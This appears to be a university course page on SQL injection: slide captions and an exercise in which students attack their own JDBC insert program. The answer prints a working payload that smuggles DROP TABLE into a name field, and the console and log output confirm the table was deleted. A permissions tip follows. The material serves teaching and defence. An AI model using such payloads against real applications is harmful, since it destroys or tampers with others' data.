SQL injection

Figure 855. Assembling SQL Slide presentation Create comment in forum

Figure 856. SQL injection principle Slide presentation Create comment in forum

Figure 857. Preventing traffic tickets Slide presentation Create comment in forum
Preventing traffic tickets

Figure 858. Trouble at school Slide presentation Create comment in forum
Trouble at school

Before diving into technical details we shed some light on the possible impact of this common attack type:

Figure 859. SQL injection impact Slide presentation Create comment in forum
SQL injection impact

Figure 860. SQL injection relevance, [Clarke2009] Slide presentation Create comment in forum

Many people say they know what SQL injection is, but all they have heard about or experienced are trivial examples.

SQL injection is one of the most devastating vulnerabilities to impact a business, as it can lead to exposure of all of the sensitive information stored in an application's database, including handy information such as usernames, passwords, names, addresses, phone numbers, and credit card details.


Figure 861. Lessons learned? Slide presentation Create comment in forum

Current achievements continue to be questionable.


exercise No. 29

Attack from the dark side Create comment in forum

Q:

Use your Interactive inserts, connection properties, error handling and unit tests application and the idea of Figure 856, “SQL injection principle ” to launch an SQL injection attack. We provide some hints:

  1. Executing multi-line statements may require explicit COMMIT statements:

    INSERT INTO Person VALUES (...);DROP TABLE Person;COMMIT;...
  2. You may use either of the two input fields name or email to inject arbitrary SQL code.

A:

Logging tells us about SQL code being generated when inserting a record based on e.g. user Eve having an email eve@my.org:

main INFO  insert.SimpleInsert - Executing «INSERT INTO Person VALUES('Eve', 'eve@my.org')»

We craft our first input username replacing Eve to launch our attack:

Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim

A corresponding dialog reads:

MinimumTest> java -jar /ma/goik/GoikLectures/P/Sda1/Jdbc/Insert/MinimumTest/target/insert_user-0.1.jar
Enter a person's name or 'x' to exit: Eve', 'eve@my.org');DROP TABLE Person;INSERT INTO Person VALUES('jim
Enter Eve', 'eve@my.org');DROP TABLE Person;INSERT INTO Person VALUES('jim's email or 'x' to exit: jim@company.com
java -jar /home/goik/.m2/repository/de/hdm_stuttgart/sda1/insert/insert_user/0.2/insert_user-0.2.jar
Enter a person's name or 'x' to exit: Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim 
Enter Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim's email or 'x' to exit: sd@de
Exception in thread "main" org.postgresql.util.PSQLException: ERROR: relation "person" does not exist
  Position: 13
	at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2103)
	at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1836)

This successfully kills our Person table:

goik@goikschlepptop MinimumTest> cat A1.log
main INFO  insert.SimpleInsert - Executing «INSERT INTO Person VALUES('Eve', 'eve@my.org');DROP TABLE Person;COMMIT;INSERT INTO Person VALUES('jim', 'jim@company.com')»
main ERROR insert.SimpleInsert - General database connection problem:
java.sql.SQLSyntaxErrorException: Table 'hdm.Person' doesn't exist
  at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:112) ~[insert_user-0.1.jar:?]
...

According to the message text the table Person gets dropped as expected. Thus the subsequent (second) INSERT action is then bound to fail.

In practice this result may be avoided: The database user in question will (hopefully!) not have sufficient permissions to drop the whole table. Use GRANT / REVOKE statements accordingly!

Malicious modifications by INSERT, UPDATE or DELETE statements of data records are still possible though!